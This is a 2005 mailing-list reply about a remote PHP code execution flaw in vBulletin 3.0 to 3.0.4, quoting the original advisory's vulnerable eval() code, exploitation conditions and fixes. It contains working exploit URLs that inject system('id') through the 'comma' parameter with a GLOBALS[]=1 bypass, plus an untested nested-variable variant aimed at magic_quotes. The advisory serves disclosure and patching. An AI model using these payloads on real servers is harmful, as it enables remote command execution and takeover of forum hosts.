Re: vbulletin 3.0.x PHP code execution

[pokley <pokleyzz () scan-associates net>]

On 13 Feb 2005 17:16:35 -0000, AL3NDALEEB <al3ndaleeb () uk2 net> wrote:

The 4th condition is the most hard to find condition in php installation.  
There is a technique to by pass magic quote condition by supplying nested  
variable to $comma. Since I've no vbulletin source code to test with this  
technique is not confirmed in this vulnerability.

example:
        http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id

It is never tested to real
> Vulnerable Systems:
>  ----------------
>  vBulletin version 3.0 up to and including version 3.0.4
>
>  Immune systems:
>  ----------------
>  vBulletin version 3.0.5
>  vBulletin version 3.0.6
>
>  Vulnerable code in forumdisplay.php :
>  #############################################################
>  if ($vboptions['showforumusers'])
>  {
>     .
>     .
>     .
>     .
>
>  if ($bbuserinfo['userid'])
>  {
>     .
>     .
>     .
>     .
>     $comma = ', ';
>   }
>  .
>  .
>  .
>  .
>  while ($loggedin = $DB_site->fetch_array($forumusers))
>  {
>     .
>     .
>     .
>     eval('$activeusers .= "' . $comma .  
> fetch_template('forumdisplay_loggedinuser') . '";');     <<==== (Vuln)
>     $comma = ', ';
>     .
>     .
>   }
>  .
>  .
>  }
>
>  #############################################################
>
>  Conditions:
>  ----------------
>  1st condition   : $vboptions['showforumusers'] == True , the admin must  
> set
> showforumusers ON in vbulletin options.
>  2nd condition  : $bbuserinfo['userid'] == 0 , you must be an  
> visitor/guest
> .
>  3rd condition  : $DB_site->fetch_array($forumusers) == True , when you
> visit the forums, it  must has at least one user show the forum.
>  4th condition   : magic_quotes_gpc must be OFF
>  SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
> init.php by secret array GLOBALS[]=1 ;)))
>
>
>  Solutions:
>  ----------------
>  * Disable showforumusers in vbulletin options .
>  * add the next line before if ($vboptions['showforumusers'])
>      $comma = '';
>
>  Exploit:
>  ----------------
> example :
> http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."



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